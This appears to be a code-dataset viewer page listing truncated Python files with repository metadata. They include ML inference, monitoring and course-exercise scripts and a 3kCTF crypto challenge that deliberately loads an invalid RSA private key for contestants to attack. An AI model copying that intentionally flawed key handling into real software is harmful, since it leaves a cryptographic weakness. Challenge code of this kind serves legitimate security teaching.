] | 3 | 2021-10-30T14:44:57.000Z | 2022-02-14T06:57:57.000Z | official/cv/brdnet/infer/sdk/main.py | leelige/mindspore | 5199e05ba3888963473f2b07da3f7bca5b9ef6dc | [
"Apache-2.0"
] | 24 | 2021-10-15T08:32:45.000Z | 2022-03-24T18:45:20.000Z | '''
The scripts to execute sdk infer
'''
# Copyright 2021 Huawei Technologies Co., Ltd
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unles... | 40.849398 | 112 | 0.641203 |
9042573579966f12375d19d6a86769ffe339bb69 | 416 | py | Python | PMIa/2014/danilov_d_a/task_2_6.py | YukkaSarasti/pythonintask | eadf4245abb65f4400a3bae30a4256b4658e009c | [
"Apache-2.0"
] | null | null | null | PMIa/2014/danilov_d_a/task_2_6.py | YukkaSarasti/pythonintask | eadf4245abb65f4400a3bae30a4256b4658e009c | [
"Apache-2.0"
] | null | null | null | PMIa/2014/danilov_d_a/task_2_6.py | YukkaSarasti/pythonintask | eadf4245abb65f4400a3bae30a4256b4658e009c | [
"Apache-2.0"
] | null | null | null | #Задача 2. Вариант 6.
#Напишите программу, которая будет выводить на экран наиболее понравившееся вам высказывание, автором которого является Иисус Христос. Не забудьте о том, что автор должен быть упомянут на отдельной строке.
#Данилов Д.А.
#20.05.2016
input("Не думайте, что Я пришел принести мир на землю; не м... | 69.333333 | 206 | 0.766827 |
5f3b93cf85a7fe66bdfadbd695beb1d00ffe6c81 | 1,693 | py | Python | scripts/pip_sequential.py | guruvamsi-policharla/noisy-krotov | c5397d9dbde68d06f17e88620d6a6b2c74664841 | [
"BSD-3-Clause"
] | 49 | 2018-11-07T06:43:33.000Z | 2022-03-18T20:53:06.000Z | scripts/pip_sequential.py | guruvamsi-policharla/noisy-krotov | c5397d9dbde68d06f17e88620d6a6b2c74664841 | [
"BSD-3-Clause"
] | 94 | 2018-11-06T20:15:04.000Z | 2022-01-06T09:06:15.000Z | scripts/pip_sequential.py | qucontrol/krotov | 9f9a22336c433dc3a37637ce8cc8324df4290b46 | [
"BSD-3-Clause"
] | 20 | 2018-11-06T20:03:11.000Z | 2022-03-12T05:29:21.000Z | #!/usr/bin/env python
"""Stand-in for pip that processes packages sequentially.
`pip install <packages>` compiles *all* the given packages before installing
them. This can be a problem if the compilation of one package depends on other
packages being installed (most likely, cython/numpy). This script provides an
ad-ho... | 30.232143 | 78 | 0.583579 |
5f4bcc06cf34f85942da00f7dbf95407df0df76d | 724 | py | Python | 20-fs-ias-lec/groups/13-sneakernet/code/logMerge/LogMergeTests.py | Kyrus1999/BACnet | 5be8e1377252166041bcd0b066cce5b92b077d06 | [
"MIT"
] | 8 | 2020-03-17T21:12:18.000Z | 2021-12-12T15:55:54.000Z | 20-fs-ias-lec/groups/13-sneakernet/code/logMerge/LogMergeTests.py | Kyrus1999/BACnet | 5be8e1377252166041bcd0b066cce5b92b077d06 | [
"MIT"
] | 2 | 2021-07-19T06:18:43.000Z | 2022-02-10T12:17:58.000Z | 20-fs-ias-lec/groups/13-sneakernet/code/logMerge/LogMergeTests.py | Kyrus1999/BACnet | 5be8e1377252166041bcd0b066cce5b92b077d06 | [
"MIT"
] | 25 | 2020-03-20T09:32:45.000Z | 2021-07-18T18:12:59.000Z | # Tests for LogMerge.py
# Authors: Günes Aydin, Joey Zgraggen, Nikodem Kernbach
# VERSION: 1.0
import os
import unittest
import LogMerge
class LogMergeTests(unittest.TestCase):
def setUp(self):
self.lm = LogMerge.LogMerge()
def test_something_1(self):
pass
def test_something_2(self):
... | 22.625 | 103 | 0.650552 |
39b790ec8e13aec6264fe2ddd36eec5e5a854cd2 | 2,699 | py | Python | Aufgaben/abgabe1.py | JoshuaJoost/GNN_SS20 | 6b905319f2e51b71569354c347805abce9df3cb1 | [
"MIT"
] | null | null | null | Aufgaben/abgabe1.py | JoshuaJoost/GNN_SS20 | 6b905319f2e51b71569354c347805abce9df3cb1 | [
"MIT"
] | null | null | null | Aufgaben/abgabe1.py | JoshuaJoost/GNN_SS20 | 6b905319f2e51b71569354c347805abce9df3cb1 | [
"MIT"
] | null | null | null | #Run cell
#%%
__authors__ = "Rosario Allegro (1813064), Sedat Cakici (1713179), Joshua Joost (1626034)"
# maintainer = who fixes buggs?
__maintainer = __authors__
__date__ = "2020-04-21"
__version__ = "0.5"
__status__ = "Test"
import numpy as np
import matplotlib
from matplotlib import pyplot as plt
print(f"numpy_... | 32.130952 | 109 | 0.665061 |
f2cc69939b09b877533ade341e1e1b76b0a02782 | 1,568 | py | Python | monitoring/zabbix/zabbix_collections/ssdb/ssdb.py | smthkissinger/docker-images | 35e868295d04fa780325ada4168381f1e80e8fe4 | [
"BSD-3-Clause"
] | 63 | 2018-02-04T03:31:22.000Z | 2022-03-07T08:27:39.000Z | monitoring/zabbix/zabbix_collections/ssdb/ssdb.py | smthkissinger/docker-images | 35e868295d04fa780325ada4168381f1e80e8fe4 | [
"BSD-3-Clause"
] | 3 | 2020-06-15T03:41:03.000Z | 2020-06-15T03:41:04.000Z | monitoring/zabbix/zabbix_collections/ssdb/ssdb.py | smthkissinger/docker-images | 35e868295d04fa780325ada4168381f1e80e8fe4 | [
"BSD-3-Clause"
] | 40 | 2018-01-22T16:31:16.000Z | 2022-03-08T04:40:42.000Z | #!/bin/env python
import sys,json,socket,re
from SSDB import SSDB
def get_stats(ip,port):
ssdb = SSDB(ip, port)
info = ssdb.request('info',['cmd'])
result= info.data[1:]
return result
def discovery_cmd(info):
d={'data':[]}
for i in range(0,len(info),2):
if info[i].find('cmd') != -1:
d['data'... | 26.133333 | 70 | 0.571429 |
840126f73a90b431b76708cb45f3372a479f93d6 | 1,744 | py | Python | BluePrint/apps/models.py | CodeMath/jinrockets | 6bb26e9ca66ba951ab2d34bf1ffe79b2c605963f | [
"MIT"
] | null | null | null | BluePrint/apps/models.py | CodeMath/jinrockets | 6bb26e9ca66ba951ab2d34bf1ffe79b2c605963f | [
"MIT"
] | null | null | null | BluePrint/apps/models.py | CodeMath/jinrockets | 6bb26e9ca66ba951ab2d34bf1ffe79b2c605963f | [
"MIT"
] | null | null | null | # -*- coding:utf-8 -*-
from apps import db
class User(db.Model):
id = db.Column(db.String(255), primary_key=True)
password = db.Column(db.String(255))
date = db.Column(db.DateTime(), default=db.func.now())
# 회원가입 당 시, 정보 입력(청소년,신입생,복학생,취준생,직장인)
user_category=db.Column(db.String(255),default="신입생")
input_jobs=db.... | 27.68254 | 89 | 0.704702 |
0809a3852e9f6c2b9f483631e41f0fee6c21f877 | 1,737 | py | Python | 3kCTF/2021/crypto/ASR/app.py | ruhan-islam/ctf-archives | 8c2bf6a608c821314d1a1cfaa05a6cccef8e3103 | [
"MIT"
] | 1 | 2021-11-02T20:53:58.000Z | 2021-11-02T20:53:58.000Z | 3kCTF/2021/crypto/ASR/app.py | ruhan-islam/ctf-archives | 8c2bf6a608c821314d1a1cfaa05a6cccef8e3103 | [
"MIT"
] | null | null | null | 3kCTF/2021/crypto/ASR/app.py | ruhan-islam/ctf-archives | 8c2bf6a608c821314d1a1cfaa05a6cccef8e3103 | [
"MIT"
] | null | null | null | import binascii
import hashlib
import random
import os
import string
import OpenSSL.crypto as crypto
rsa_p_not_prime_pem = """\n-----BEGIN RSA PRIVATE KEY-----\nMBsCAQACAS0CAQcCAQACAQ8CAQMCAQACAQACAQA=\n-----END RSA PRIVATE KEY-----\n"""
invalid_key = crypto.load_privatekey(crypto.FILETYPE_PEM, rsa_p_not_prime_pem)
e... | 29.440678 | 248 | 0.731721 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.